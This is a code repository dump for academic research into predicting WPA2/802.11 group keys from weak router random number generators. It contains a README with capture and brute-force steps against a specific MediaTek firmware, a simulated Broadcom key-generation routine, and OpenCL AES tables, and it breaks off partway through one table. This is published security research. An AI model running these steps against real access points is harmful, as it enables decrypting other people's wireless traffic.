├── .gitignore ├── Makefile ├── README.md ├── broadkey ├── broadcom.cpp ├── broadcom.h ├── module.cpp ├── opencl │ ├── AESOpenCL.cl │ ├── broadcom.cl │ ├── ieeeprf.cl │ ├── md5_kernel.cl │ ├── opencl_device_info.h │ ├── opencl_misc.h │ ├── opencl_sha1.h │ ├── ralink.cl │ └── util.cl ├── ralink.cpp ├── ralink.h └── setup.py ├── scripts ├── 1_set_monitor.sh ├── 2_make_capture.py ├── 3_bruteforce.sh ├── broadattack.py ├── debug-attack │ ├── arping.sh │ ├── connect.sh │ ├── get_ip.sh │ └── testnetwerk.conf └── example-capture │ ├── capture.pcap │ └── decrypted_packet.pcap └── shared ├── crc.cpp ├── crc.h ├── crypto.cpp ├── crypto.h ├── ieee80211header.cpp ├── ieee80211header.h ├── mypcap.cpp ├── mypcap.h ├── util.cpp └── util.h /.gitignore: -------------------------------------------------------------------------------- 1 | build/ 2 | *.so 3 | *.pyc 4 | *.o 5 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | 2 | packages: 3 | for DIR in $$(ls */setup.py | xargs -n 1 dirname); do \ 4 | cd "$$DIR" && python2 setup.py build && cd ..; \ 5 | done 6 | mkdir -p build 7 | # First remove .so files so running processes won't crash when we overwrite any in-use .so files. 8 | rm -f build/*.so 9 | cp -fv */build/lib*/*.so build/ 10 | 11 | clean: 12 | rm -rf build/ */build/ 13 | 14 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Predicting, Decrypting, and Abusing WPA2/802.11 Group Keys 2 | 3 | This project contains attacks against predictable random number generators (RNGs) used in Wi-Fi Access Points (APs). 4 | 5 | This work was the result of the paper [Predicting, Decrypting, and Abusing WPA2/802.11 Group Keys](https://lirias.kuleuven.be/handle/123456789/547640) ([PDF here](https://lirias.kuleuven.be/bitstream/123456789/547640/1/usenix2016-wifi.pdf)) presented at USENIX Security 2016. Parts of this work were also [presented at the 33rd Chaos Communication Congress (33C3)](https://fahrplan.events.ccc.de/congress/2016/Fahrplan/events/8195.html). 6 | 7 | ## Dependencies 8 | 9 | This project relies on OpenCL, and was tested using an NVidia card on Arch Linux. 10 | 11 | ## Getting started & Demonstration 12 | 13 | First compile the project: 14 | 15 | $ make packages 16 | 17 | In case compilation fails, make sure you have the required libraries and dependencies installed. Based on the displayed error you should be able to google the library you are missing, and find how to install this library on your Linux distribution. Once compiled, you can run the brute-force scripts. To re-run the capture made during my 33C3 presentation, you can run: 18 | 19 | $ cd scripts 20 | $ ./3_bruteforce.sh 21 | 22 | ## Making your own captures 23 | 24 | ### MediaTek 25 | 26 | **You are unlikely to recover the GTK of a real MediaTek router: the code has been tuned to work only against a specific firmware version.** Nevertheless, to make your own capture, you can do the following: 27 | 28 | $ cd scripts 29 | $ 1_set_monitor.sh wlan0 30 | $ 2_make_capture.py wlan0 $MACROUTER 31 | $ optirun ./broadattack.py mediatek capture.pcap 32 | 33 | Replace `wlan0` with your wireless interface, and `$MACROUTER` with the BSSID of the router (this is commonly the MAC address of the router). This should successfully recover the group key (GTK). On my mobile graphics card this takes less than 5 minutes (GeForce GTX 950M). Note that this is experimental code, so don't be afraid to change things if something doesn't work! 34 | 35 | If you want to run it against another firmware version, first compile the target firmware yourself based on open source code. Print the jiffies values that were used in the `GenRandom` calls, and then modify the file `scripts/broadkey.py` at the following locations: 36 | - In the function `predict_gtk_jiffies`: supply the correct estimated jiffies. 37 | - In the function `ralink_broadkey_prediction`: make sure `gmkJiffies` is estimated correctly in step 4. 38 | 39 | Note 1: a router model can be detected based on the MAC address, the [Information Element fingerprint](https://lirias.kuleuven.be/bitstream/123456789/543617/1/asiaccs2016.pdf), and how it reacts to certain packets. When it is not possible to differentiate between minor firmware changes, the (custom) script will have try all possible jiffies values for all possible firmware versions. Since the attack is fast, this should not pose a problem. 40 | 41 | Note 2: while the attack can be generalized as described above, we did not do this ourselves to dissuade people from abusing it. That is, we restricted ourselves to a proof-of-concept against our device, which is sufficient to demonstrate the weakness and motivate vendors to use a more secure random number generator. 42 | 43 | ### Broadcom 44 | 45 | We only simulate an attack against Broadcom, so processing is real capture is not yet supported. If you have a device using the Broadcom time-based RNG, you can always extend the code! Currently a "fake" summary of a capture is provided to our scripts, this has to be changed in a summary extracted from a real capture. 46 | -------------------------------------------------------------------------------- /broadkey/broadcom.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | #include 8 | 9 | #include "crypto.h" 10 | #include "util.h" 11 | #include "broadcom.h" 12 | 13 | /** We assume the router is using 32-bit "long int" variables */ 14 | struct hashbuff_t 15 | { 16 | struct { 17 | uint32_t tv_sec; 18 | uint32_t tv_usec; 19 | } tv; 20 | struct { 21 | uint32_t tz_minuteswest; 22 | uint32_t tz_dsttime; 23 | } tz; 24 | }; 25 | 26 | 27 | static void get_hash_data(struct hashbuff_t *hashbuff) 28 | { 29 | struct timeval tv; 30 | struct timezone tz; 31 | 32 | gettimeofday(&tv, &tz); 33 | 34 | hashbuff->tv.tv_sec = tv.tv_sec; 35 | hashbuff->tv.tv_usec = tv.tv_usec; 36 | hashbuff->tz.tz_minuteswest = tz.tz_minuteswest; 37 | hashbuff->tz.tz_dsttime = tz.tz_dsttime; 38 | 39 | // Broadcom's NAS application does not call rand somewhere else, and also 40 | // does not call srand. Hence this output is predictable. 41 | int randval = rand(); 42 | 43 | PySys_WriteStdout("randval 0x%08X | tv.sec 0x%08X tv.usec 0x%08X | tz.minwest 0x%08X tz.dsttime 0x%08X\n", 44 | randval, hashbuff->tv.tv_sec, hashbuff->tv.tv_usec, hashbuff->tz.tz_minuteswest, hashbuff->tz.tz_dsttime); 45 | 46 | hashbuff->tv.tv_sec ^= randval; 47 | } 48 | 49 | 50 | void nas_rand128(uint8_t *rand128) 51 | { 52 | hashbuff_t hashbuff; 53 | MD5_CTX md5; 54 | 55 | get_hash_data(&hashbuff); 56 | pydump_buffer((uint8_t*)&hashbuff, sizeof(hashbuff), "hashbuff"); 57 | 58 | MD5_Init(&md5); 59 | MD5_Update(&md5, (unsigned char *) &hashbuff.tv, sizeof(hashbuff.tv)); 60 | MD5_Update(&md5, (unsigned char *) &hashbuff.tz, sizeof(hashbuff.tz)); 61 | MD5_Final(rand128, &md5); 62 | } 63 | 64 | 65 | void generate_gmk(uint8_t gmk[32]) 66 | { 67 | nas_rand128(&gmk[0]); 68 | PySys_WriteStdout("\n"); 69 | nas_rand128(&gmk[16]); 70 | } 71 | 72 | 73 | PyObject * py_bcom_test_crypto(PyObject *self, PyObject *args) 74 | { 75 | unsigned char prefix[] = "Group key expansion"; 76 | uint8_t gnonce[32] = {}; /** Leaked through public key_counter */ 77 | uint8_t gmk[32]; 78 | uint8_t gtk[32]; 79 | uint8_t data[6 + 32]; 80 | 81 | // Initialize fake GNONCE to test algorithms 82 | for (int i = 0; i < 32; ++i) 83 | gnonce[i] = i; 84 | 85 | generate_gmk(gmk); 86 | pydump_buffer(gmk, sizeof(gmk), "Generated GMK"); 87 | 88 | pydump_buffer(gnonce, sizeof(gnonce), "Used GNONCE"); 89 | 90 | memcpy(data , "\x01\x02\x03\x04\x05\x06", 6); 91 | memcpy(data + 6, gnonce, 32); 92 | ieee80211_prf_256(gmk, sizeof(gmk), prefix, strlen((char *)prefix), data, sizeof(data), gtk); 93 | 94 | pydump_buffer(gtk, sizeof(gtk), "Generated GTK"); 95 | 96 | Py_RETURN_NONE; 97 | } 98 | 99 | -------------------------------------------------------------------------------- /broadkey/broadcom.h: -------------------------------------------------------------------------------- 1 | #ifndef broadkey_broadcom_h__ 2 | #define broadkey_broadcom_h__ 3 | 4 | PyObject * py_bcom_test_crypto(PyObject *self, PyObject *args); 5 | 6 | #endif // broadkey_broadcom_h__ 7 | -------------------------------------------------------------------------------- /broadkey/module.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #define PY_ARRAY_UNIQUE_SYMBOL biases_ARRAY_API 5 | #include 6 | 7 | #include "util.h" 8 | #include "ralink.h" 9 | #include "broadcom.h" 10 | 11 | // ================================ PYTHON BINDINGS ================================ 12 | 13 | static PyMethodDef modmethods[] = { 14 | // Attacks against Ralink / MediaTek 15 | METHOD_ENTRY(rl_test_crypto, "Unit tests of our crypto algorithms"), 16 | 17 | METHOD_ENTRY(rl_get_ssids, "Get a list of attackable SSIDs"), 18 | METHOD_ENTRY(rl_extract_hash, "Extract hash from a pcap capture"), 19 | METHOD_ENTRY(rl_generate_keys, "Generate list of possible keys (GMKs or GNONCEs)"), 20 | 21 | // Attack against Broadcom 22 | METHOD_ENTRY(bcom_test_crypto, "Unit tests of our crypto algorithms"), 23 | 24 | // For the demo 25 | METHOD_ENTRY(dump_packet, "Dump the decrypted packet"), 26 | 27 | {NULL, NULL, 0, NULL} 28 | }; 29 | 30 | PyMODINIT_FUNC initbroadkey(void) 31 | { 32 | import_array(); 33 | 34 | /** init C functions */ 35 | Py_InitModule("broadkey", modmethods); 36 | } 37 | 38 | 39 | -------------------------------------------------------------------------------- /broadkey/opencl/AESOpenCL.cl: -------------------------------------------------------------------------------- 1 | /* This should be a hidden type, but EVP requires that the size be known */ 2 | struct aes_key_st { 3 | unsigned int rd_key[44]; 4 | int rounds; 5 | }; 6 | typedef struct aes_key_st AES_KEY; 7 | 8 | typedef unsigned int u32; 9 | typedef unsigned short u16; 10 | typedef unsigned char u8; 11 | 12 | __constant u32 Te0[256] = { 13 | 0xc66363a5U, 0xf87c7c84U, 0xee777799U, 0xf67b7b8dU, 14 | 0xfff2f20dU, 0xd66b6bbdU, 0xde6f6fb1U, 0x91c5c554U, 15 | 0x60303050U, 0x02010103U, 0xce6767a9U, 0x562b2b7dU, 16 | 0xe7fefe19U, 0xb5d7d762U, 0x4dababe6U, 0xec76769aU, 17 | 0x8fcaca45U, 0x1f82829dU, 0x89c9c940U, 0xfa7d7d87U, 18 | 0xeffafa15U, 0xb25959ebU, 0x8e4747c9U, 0xfbf0f00bU, 19 | 0x41adadecU, 0xb3d4d467U, 0x5fa2a2fdU, 0x45afafeaU, 20 | 0x239c9cbfU, 0x53a4a4f7U, 0xe4727296U, 0x9bc0c05bU, 21 | 0x75b7b7c2U, 0xe1fdfd1cU, 0x3d9393aeU, 0x4c26266aU, 22 | 0x6c36365aU, 0x7e3f3f41U, 0xf5f7f702U, 0x83cccc4fU, 23 | 0x6834345cU, 0x51a5a5f4U, 0xd1e5e534U, 0xf9f1f108U, 24 | 0xe2717193U, 0xabd8d873U, 0x62313153U, 0x2a15153fU, 25 | 0x0804040cU, 0x95c7c752U, 0x46232365U, 0x9dc3c35eU, 26 | 0x30181828U, 0x379696a1U, 0x0a05050fU, 0x2f9a9ab5U, 27 | 0x0e070709U, 0x24121236U, 0x1b80809bU, 0xdfe2e23dU, 28 | 0xcdebeb26U, 0x4e272769U, 0x7fb2b2cdU, 0xea75759fU, 29 | 0x1209091bU, 0x1d83839eU, 0x582c2c74U, 0x341a1a2eU, 30 | 0x361b1b2dU, 0xdc6e6eb2U, 0xb45a5aeeU, 0x5ba0a0fbU, 31 | 0xa45252f6U, 0x763b3b4dU, 0xb7d6d661U, 0x7db3b3ceU, 32 | 0x5229297bU, 0xdde3e33eU, 0x5e2f2f71U, 0x13848497U, 33 | 0xa65353f5U, 0xb9d1d168U, 0x00000000U, 0xc1eded2cU, 34 | 0x40202060U, 0xe3fcfc1fU, 0x79b1b1c8U, 0xb65b5bedU, 35 | 0xd46a6abeU, 0x8dcbcb46U, 0x67bebed9U, 0x7239394bU, 36 | 0x944a4adeU, 0x984c4cd4U, 0xb05858e8U, 0x85cfcf4aU, 37 | 0xbbd0d06bU, 0xc5efef2aU, 0x4faaaae5U, 0xedfbfb16U, 38 | 0x864343c5U, 0x9a4d4dd7U, 0x66333355U, 0x11858594U, 39 | 0x8a4545cfU, 0xe9f9f910U, 0x04020206U, 0xfe7f7f81U, 40 | 0xa05050f0U, 0x783c3c44U, 0x259f9fbaU, 0x4ba8a8e3U, 41 | 0xa25151f3U, 0x5da3a3feU, 0x804040c0U, 0x058f8f8aU, 42 | 0x3f9292adU, 0x219d9dbcU, 0x70383848U, 0xf1f5f504U, 43 | 0x63bcbcdfU, 0x77b6b6c1U, 0xafdada75U, 0x42212163U, 44 | 0x20101030U, 0xe5ffff1aU, 0xfdf3f30eU, 0xbfd2d26dU, 45 | 0x81cdcd4cU, 0x180c0c14U, 0x26131335U, 0xc3ecec2fU, 46 | 0xbe5f5fe1U, 0x359797a2U, 0x884444ccU, 0x2e171739U, 47 | 0x93c4c457U, 0x55a7a7f2U, 0xfc7e7e82U, 0x7a3d3d47U, 48 | 0xc86464acU, 0xba5d5de7U, 0x3219192bU, 0xe6737395U, 49 | 0xc06060a0U, 0x19818198U, 0x9e4f4fd1U, 0xa3dcdc7fU, 50 | 0x44222266U, 0x542a2a7eU, 0x3b9090abU, 0x0b888883U, 51 | 0x8c4646caU, 0xc7eeee29U, 0x6bb8b8d3U, 0x2814143cU, 52 | 0xa7dede79U, 0xbc5e5ee2U, 0x160b0b1dU, 0xaddbdb76U, 53 | 0xdbe0e03bU, 0x64323256U, 0x743a3a4eU, 0x140a0a1eU, 54 | 0x924949dbU, 0x0c06060aU, 0x4824246cU, 0xb85c5ce4U, 55 | 0x9fc2c25dU, 0xbdd3d36eU, 0x43acacefU, 0xc46262a6U, 56 | 0x399191a8U, 0x319595a4U, 0xd3e4e437U, 0xf279798bU, 57 | 0xd5e7e732U, 0x8bc8c843U, 0x6e373759U, 0xda6d6db7U, 58 | 0x018d8d8cU, 0xb1d5d564U, 0x9c4e4ed2U, 0x49a9a9e0U, 59 | 0xd86c6cb4U, 0xac5656faU, 0xf3f4f407U, 0xcfeaea25U, 60 | 0xca6565afU, 0xf47a7a8eU, 0x47aeaee9U, 0x10080818U, 61 | 0x6fbabad5U, 0xf0787888U, 0x4a25256fU, 0x5c2e2e72U, 62 | 0x381c1c24U, 0x57a6a6f1U, 0x73b4b4c7U, 0x97c6c651U, 63 | 0xcbe8e823U, 0xa1dddd7cU, 0xe874749cU, 0x3e1f1f21U, 64 | 0x964b4bddU, 0x61bdbddcU, 0x0d8b8b86U, 0x0f8a8a85U, 65 | 0xe0707090U, 0x7c3e3e42U, 0x71b5b5c4U, 0xcc6666aaU, 66 | 0x904848d8U, 0x06030305U, 0xf7f6f601U, 0x1c0e0e12U, 67 | 0xc26161a3U, 0x6a35355fU, 0xae5757f9U, 0x69b9b9d0U, 68 | 0x17868691U, 0x99c1c158U, 0x3a1d1d27U, 0x279e9eb9U, 69 | 0xd9e1e138U, 0xebf8f813U, 0x2b9898b3U, 0x22111133U, 70 | 0xd26969bbU, 0xa9d9d970U, 0x078e8e89U, 0x339494a7U, 71 | 0x2d9b9bb6U, 0x3c1e1e22U, 0x15878792U, 0xc9e9e920U, 72 | 0x87cece49U, 0xaa5555ffU, 0x50282878U, 0xa5dfdf7aU, 73 | 0x038c8c8fU, 0x59a1a1f8U, 0x09898980U, 0x1a0d0d17U, 74 | 0x65bfbfdaU, 0xd7e6e631U, 0x844242c6U, 0xd06868b8U, 75 | 0x824141c3U, 0x299999b0U, 0x5a2d2d77U, 0x1e0f0f11U, 76 | 0x7bb0b0cbU, 0xa85454fcU, 0x6dbbbbd6U, 0x2c16163aU, 77 | }; 78 | __constant u32 Te1[256] = { 79 | 0xa5c66363U, 0x84f87c7cU, 0x99ee7777U, 0x8df67b7bU, 80 | 0x0dfff2f2U, 0xbdd66b6bU, 0xb1de6f6fU, 0x5491c5c5U, 81 | 0x50603030U, 0x03020101U, 0xa9ce6767U, 0x7d562b2bU, 82 | 0x19e7fefeU, 0x62b5d7d7U, 0xe64dababU, 0x9aec7676U, 83 | 0x458fcacaU, 0x9d1f8282U, 0x4089c9c9U, 0x87fa7d7dU, 84 | 0x15effafaU, 0xebb25959U, 0xc98e4747U, 0x0bfbf0f0U, 85 | 0xec41adadU, 0x67b3d4d4U, 0xfd5fa2a2U, 0xea45afafU, 86 | 0xbf239c9cU, 0xf753a4a4U, 0x96e47272U, 0x5b9bc0c0U, 87 | 0xc275b7b7U, 0x1ce1fdfdU, 0xae3d9393U, 0x6a4c2626U, 88 | 0x5a6c3636U, 0x417e3f3fU, 0x02f5f7f7U, 0x4f83ccccU, 89 | 0x5c683434U, 0xf451a5a5U, 0x34d1e5e5U, 0x08f9f1f1U, 90 | 0x93e27171U, 0x73abd8d8U, 0x53623131U, 0x3f2a1515U, 91 | 0x0c080404U, 0x5295c7c7U, 0x65462323U, 0x5e9dc3c3U, 92 | 0x28301818U, 0xa1379696U, 0x0f0a0505U, 0xb52f9a9aU, 93 | 0x090e0707U, 0x36241212U, 0x9b1b8080U, 0x3ddfe2e2U, 94 | 0x26cdebebU, 0x694e2727U, 0xcd7fb2b2U, 0x9fea7575U, 95 | 0x1b120909U, 0x9e1d8383U, 0x74582c2cU, 0x2e341a1aU, 96 | 0x2d361b1bU, 0xb2dc6e6eU, 0xeeb45a5aU, 0xfb5ba0a0U, 97 | 0xf6a45252U, 0x4d763b3bU, 0x61b7d6d6U, 0xce7db3b3U, 98 | 0x7b522929U, 0x3edde3e3U, 0x715e2f2fU, 0x97138484U, 99 | 0xf5a65353U, 0x68b9d1d1U, 0x00000000U, 0x2cc1ededU, 100 | 0x60402020U, 0x1fe3fcfcU, 0xc879b1b1U, 0xedb65b5bU, 101 | 0xbed46a6aU, 0x468dcbcbU, 0xd967bebeU, 0x4b723939U, 102 | 0xde944a4aU, 0xd4984c4cU, 0xe8b05858U, 0x4a85cfcfU, 103 | 0x6bbbd0d0U, 0x2ac5efefU, 0xe54faaaaU, 0x16edfbfbU, 104 | 0xc5864343U, 0xd79a4d4dU, 0x55663333U, 0x94118585U, 105 | 0xcf8a4545U, 0x10e9f9f9U, 0x06040202U, 0x81fe7f7fU, 106 | 0xf0a05050U, 0x44783c3cU, 0xba259f9fU, 0xe34ba8a8U, 107 | 0xf3a25151U, 0xfe5da3a3U, 0xc0804040U, 0x8a058f8fU, 108 | 0xad3f9292U, 0xbc219d9dU, 0x48703838U, 0x04f1f5f5U, 109 | 0xdf63bcbcU, 0xc177b6b6U, 0x75afdadaU, 0x63422121U, 110 | 0x30201010U, 0x1ae5ffffU, 0x0efdf3f3U, 0x6dbfd2d2U, 111 | 0x4c81cdcdU, 0x14180c0cU, 0x35261313U, 0x2fc3ececU, 112 | 0xe1be5f5fU, 0xa2359797U, 0xcc884444U, 0x392e1717U, 113 | 0x5793c4c4U, 0xf255a7a7U, 0x82fc7e7eU, 0x477a3d3dU, 114 | 0xacc86464U, 0xe7ba5d5dU, 0x2b321919U, 0x95e67373U, 115 | 0xa0c06060U, 0x98198181U, 0xd19e4f4fU, 0x7fa3dcdcU, 116 | 0x66442222U, 0x7e542a2aU, 0xab3b9090U, 0x830b8888U, 117 | 0xca8c4646U, 0x29c7eeeeU, 0xd36bb8b8U, 0x3c281414U, 118 | 0x79a7dedeU, 0xe2bc5e5eU, 0x1d160b0bU, 0x76addbdbU, 119 | 0x3bdbe0e0U, 0x56643232U, 0x4e743a3aU, 0x1e140a0aU, 120 | 0xdb924949U, 0x0a0c0606U, 0x6c482424U, 0xe4b85c5cU, 121 | 0x5d9fc2c2U, 0x6ebdd3d3U, 0xef43acacU, 0xa6c46262U, 122 | 0xa8399191U, 0xa4319595U, 0x37d3e4e4U, 0x8bf27979U, 123 | 0x32d5e7e7U, 0x438bc8c8U, 0x596e3737U, 0xb7da6d6dU, 124 | 0x8c018d8dU, 0x64b1d5d5U, 0xd29c4e4eU, 0xe049a9a9U, 125 | 0xb4d86c6cU, 0xfaac5656U, 0x07f3f4f4U, 0x25cfeaeaU, 126 | 0xafca6565U, 0x8ef47a7aU, 0xe947aeaeU, 0x18100808U, 127 | 0xd56fbabaU, 0x88f07878U, 0x6f4a2525U, 0x725c2e2eU, 128 | 0x24381c1cU, 0xf157a6a6U, 0xc773b4b4U, 0x5197c6c6U, 129 | 0x23cbe8e8U, 0x7ca1ddddU, 0x9ce87474U, 0x213e1f1fU, 130 | 0xdd964b4bU, 0xdc61bdbdU, 0x860d8b8bU, 0x850f8a8aU, 131 | 0x90e07070U, 0x427c3e3eU, 0xc471b5b5U, 0xaacc6666U, 132 | 0xd8904848U, 0x05060303U, 0x01f7f6f6U, 0x121c0e0eU, 133 | 0xa3c26161U, 0x5f6a3535U, 0xf9ae5757U, 0xd069b9b9U, 134 | 0x91178686U, 0x5899c1c1U, 0x273a1d1dU, 0xb9279e9eU, 135 | 0x38d9e1e1U, 0x13ebf8f8U, 0xb32b9898U, 0x33221111U, 136 | 0xbbd26969U, 0x70a9d9d9U, 0x89078e8eU, 0xa7339494U, 137 | 0xb62d9b9bU, 0x223c1e1eU, 0x92158787U, 0x20c9e9e9U, 138 | 0x4987ceceU, 0xffaa5555U, 0x78502828U, 0x7aa5dfdfU, 139 | 0x8f038c8cU, 0xf859a1a1U, 0x80098989U, 0x171a0d0dU, 140 | 0xda65bfbfU, 0x31d7e6e6U, 0xc6844242U, 0xb8d06868U, 141 | 0xc3824141U, 0xb0299999U, 0x775a2d2dU, 0x111e0f0fU, 142 | 0xcb7bb0b0U, 0xfca85454U, 0xd66dbbbbU, 0x3a2c1616U, 143 | }; 144 | __constant u32 Te2[256] = { 145 | 0x63a5c663U, 0x7c84f87cU, 0x7799ee77U, 0x7b8df67bU, 146 | 0xf20dfff2U, 0x6bbdd66bU, 0x6fb1de6fU, 0xc55491c5U, 147 | 0x30506030U, 0x01030201U, 0x67a9ce67U, 0x2b7d562bU, 148 | 0xfe19e7feU, 0xd762b5d7U, 0xabe64dabU, 0x769aec76U, 149 | 0xca458fcaU, 0x829d1f82U, 0xc94089c9U, 0x7d87fa7dU, 150 | 0xfa15effaU, 0x59ebb259U, 0x47c98e47U, 0xf00bfbf0U, 151 | 0xadec41adU, 0xd467b3d4U, 0xa2fd5fa2U, 0xafea45afU, 152 | 0x9cbf239cU, 0xa4f753a4U, 0x7296e472U, 0xc05b9bc0U, 153 | 0xb7c275b7U, 0xfd1ce1fdU, 0x93ae3d93U, 0x266a4c26U, 154 | 0x365a6c36U, 0x3f417e3fU, 0xf702f5f7U, 0xcc4f83ccU, 155 | 0x345c6834U, 0xa5f451a5U, 0xe534d1e5U, 0xf108f9f1U, 156 | 0x7193e271U, 0xd873abd8U, 0x31536231U, 0x153f2a15U, 157 | 0x040c0804U, 0xc75295c7U, 0x23654623U, 0xc35e9dc3U, 158 | 0x18283018U, 0x96a13796U, 0x050f0a05U, 0x9ab52f9aU, 159 | 0x07090e07U, 0x12362412U, 0x809b1b80U, 0xe23ddfe2U, 160 | 0xeb26cdebU, 0x27694e27U, 0xb2cd7fb2U, 0x759fea75U, 161 | 0x091b1209U, 0x839e1d83U, 0x2c74582cU, 0x1a2e341aU, 162 | 0x1b2d361bU, 0x6eb2dc6eU, 0x5aeeb45aU, 0xa0fb5ba0U, 163 | 0x52f6a452U, 0x3b4d763bU, 0xd661b7d6U, 0xb3ce7db3U, 164 | 0x297b5229U, 0xe33edde3U, 0x2f715e2fU, 0x84971384U, 165 | 0x53f5a653U, 0xd168b9d1U, 0x00000000U, 0xed2cc1edU, 166 | 0x20604020U, 0xfc1fe3fcU, 0xb1c879b1U, 0x5bedb65bU, 167 | 0x6abed46aU, 0xcb468dcbU, 0xbed967beU, 0x394b7239U, 168 | 0x4ade944aU, 0x4cd4984cU, 0x58e8b058U, 0xcf4a85cfU, 169 | 0xd06bbbd0U, 0xef2ac5efU, 0xaae54faaU, 0xfb16edfbU, 170 | 0x43c58643U, 0x4dd79a4dU, 0x33556633U, 0x85941185U, 171 | 0x45cf8a45U, 0xf910e9f9U, 0x02060402U, 0x7f81fe7fU, 172 | 0x50f0a050U, 0x3c44783cU, 0x9fba259fU, 0xa8e34ba8U, 173 | 0x51f3a251U, 0xa3fe5da3U, 0x40c08040U, 0x8f8a058fU, 174 | 0x92ad3f92U, 0x9dbc219dU, 0x38487038U, 0xf504f1f5U, 175 | 0xbcdf63bcU, 0xb6c177b6U, 0xda75afdaU, 0x21634221U, 176 | 0x10302010U, 0xff1ae5ffU, 0xf30efdf3U, 0xd26dbfd2U, 177 | 0xcd4c81cdU, 0x0c14180cU, 0x13352613U, 0xec2fc3ecU, 178 | 0x5fe1be5fU, 0x97a23597U, 0x44cc8844U, 0x17392e17U, 179 | 0xc45793c4U, 0xa7f255a7U, 0x7e82fc7eU, 0x3d477a3dU, 180 | 0x64acc864U, 0x5de7ba5dU, 0x192b3219U, 0x7395e673U, 181 | 0x60a0c060U, 0x81981981U, 0x4fd19e4fU, 0xdc7fa3dcU, 182 | 0x22664422U, 0x2a7e542aU, 0x90ab3b90U, 0x88830b88U, 183 | 0x46ca8c46U, 0xee29c7eeU, 0xb8d36bb8U, 0x143c2814U, 184 | 0xde79a7deU, 0x5ee2bc5eU, 0x0b1d160bU, 0xdb76addbU, 185 | 0xe03bdbe0U, 0x32566432U, 0x3a4e743aU, 0x0a1e140aU, 186 | 0x49db9249U, 0x060a0c06U, 0x246c4824U, 0x5ce4b85cU, 187 | 0xc25d9fc2U, 0xd36ebdd3U, 0xacef43acU, 0x62a6c462U, 188 | 0x91a83991U, 0x95a43195U, 0xe437d3e4U, 0x798bf279U, 189 | 0xe732d5e7U, 0xc8438bc8U, 0x37596e37U, 0x6db7da6dU, 190 | 0x8d8c018dU, 0xd564b1d5U, 0x4ed29c4eU, 0xa9e049a9U, 191 | 0x6cb4d86cU, 0x56faac56U, 0xf407f3f4U, 0xea25cfeaU, 192 | 0x65afca65U, 0x7a8ef47aU, 0xaee947aeU, 0x08181008U, 193 | 0xbad56fbaU, 0x7888f078U, 0x256f4a25U, 0x2e725c2eU, 194 | 0x1c24381cU, 0xa6f157a6U, 0xb4c773b4U, 0xc65197c6U, 195 | 0xe823cbe8U, 0xdd7ca1ddU, 0x749ce874U, 0x1f213e1fU, 196 | 0x4bdd964bU, 0xbddc61bdU, 0x8b860d8bU, 0x8a850f8aU, 197 | 0x7090e070U, 0x3e427c3eU, 0xb5c471b5U, 0x66aacc66U, 198 | 0x48d89048U, 0x03050603U, 0xf601f7f6U, 0x0e121c0eU, 199 | 0x61a3c261U, 0x355f6a35U, 0x57f9ae57U, 0xb9d069b9U, 200 | 0x86911786U, 0xc15899c1U, 0x1d273a1dU, 0x9eb9279eU, 201 | 0xe138d9e1U, 0xf813ebf8U, 0x98b32b98U, 0x11332211U, 202 | 0x69bbd269U, 0xd970a9d9U, 0x8e89078eU, 0x94a73394U, 203 | 0x9bb62d9bU, 0x1e223c1eU, 0x87921587U, 0xe920c9e9U, 204 | 0xce4987ceU, 0x55ffaa55U, 0x28785028U, 0xdf7aa5dfU, 205 | 0x8c8f038cU, 0xa1f859a1U, 0x89800989U, 0x0d171a0dU, 206 | 0xbfda65bfU, 0xe631d7e6U, 0x42c68442U, 0x68b8d068U, 207 | 0x41c38241U, 0x99b02999U, 0x2d775a2dU, 0x0f111e0fU, 208 | 0xb0cb7bb0U, 0x54fca854U, 0xbbd66dbbU, 0x163a2c16U, 209 | }; 210 | __constant u32 Te3[256] = { 211 | 0x6363a5c6U, 0x7c7c84f8U, 0x777799eeU, 0x7b7b8df6U, 212 | 0xf2f20dffU, 0x6b6bbdd6U, 0x6f6fb1deU, 0xc5c55491U, 213 | 0x30305060U, 0x01010302U, 0x6767a9ceU, 0x2b2b7d56U, 214 | 0xfefe19e7U, 0xd7d762b5U, 0xababe64dU, 0x76769aecU, 215 | 0xcaca458fU, 0x82829d1fU, 0xc9c94089U, 0x7d7d87faU, 216 | 0xfafa15efU, 0x5959ebb2U, 0x4747c98eU, 0xf0f00bfbU, 217 | 0xadadec41U, 0xd4d467b3U, 0xa2a2fd5fU, 0xafafea45U, 218 | 0x9c9cbf23U, 0xa4a4f753U, 0x727296e4U, 0xc0c05b9bU, 219 | 0xb7b7c275U, 0xfdfd1ce1U, 0x9393ae3dU, 0x26266a4cU, 220 | 0x36365a6cU, 0x3f3f417eU, 0xf7f702f5U, 0xcccc4f83U, 221 | 0x34345c68U, 0xa5a5f451U, 0xe5e534d1U, 0xf1f108f9U, 222 | 0x717193e2U, 0xd8d873abU, 0x31315362U, 0x15153f2aU, 223 | 0x04040c08U, 0xc7c75295U, 0x23236546U, 0xc3c35e9dU, 224 | 0x18182830U, 0x9696a137U, 0x05050f0aU, 0x9a9ab52fU, 225 | 0x0707090eU, 0x12123624U, 0x80809b1bU, 0xe2e23ddfU, 226 | 0xebeb26cdU, 0x2727694eU, 0xb2b2cd7fU, 0x75759feaU, 227 | 0x09091b12U, 0x83839e1dU, 0x2c2c7458U, 0x1a1a2e34U, 228 | 0x1b1b2d36U, 0x6e6eb2dcU, 0x5a5aeeb4U, 0xa0a0fb5bU, 229 | 0x5252f6a4U, 0x3b3b4d76U, 0xd6d661b7U, 0xb3b3ce7dU, 230 | 0x29297b52U, 0xe3e33eddU, 0x2f2f715eU, 0x84849713U, 231 | 0x5353f5a6U, 0xd1d168b9U, 0x00000000U, 0xeded2cc1U, 232 | 0x20206040U, 0xfcfc1fe3U, 0xb1b1c879U, 0x5b5bedb6U, 233 | 0x6a6abed4U, 0xcbcb468dU, 0xbebed967U, 0x39394b72U, 234 | 0x4a4ade94U, 0x4c4cd498U, 0x5858e8b0U, 0xcfcf4a85U, 235 | 0xd0d06bbbU, 0xefef2ac5U, 0xaaaae54fU, 0xfbfb16edU, 236 | 0x4343c586U, 0x4d4dd79aU, 0x33335566U, 0x85859411U, 237 | 0x4545cf8aU, 0xf9f910e9U, 0x02020604U, 0x7f7f81feU, 238 | 0x5050f0a0U, 0x3c3c4478U, 0x9f9fba25U, 0xa8a8e34bU, 239 | 0x5151f3a2U, 0xa3a3fe5dU, 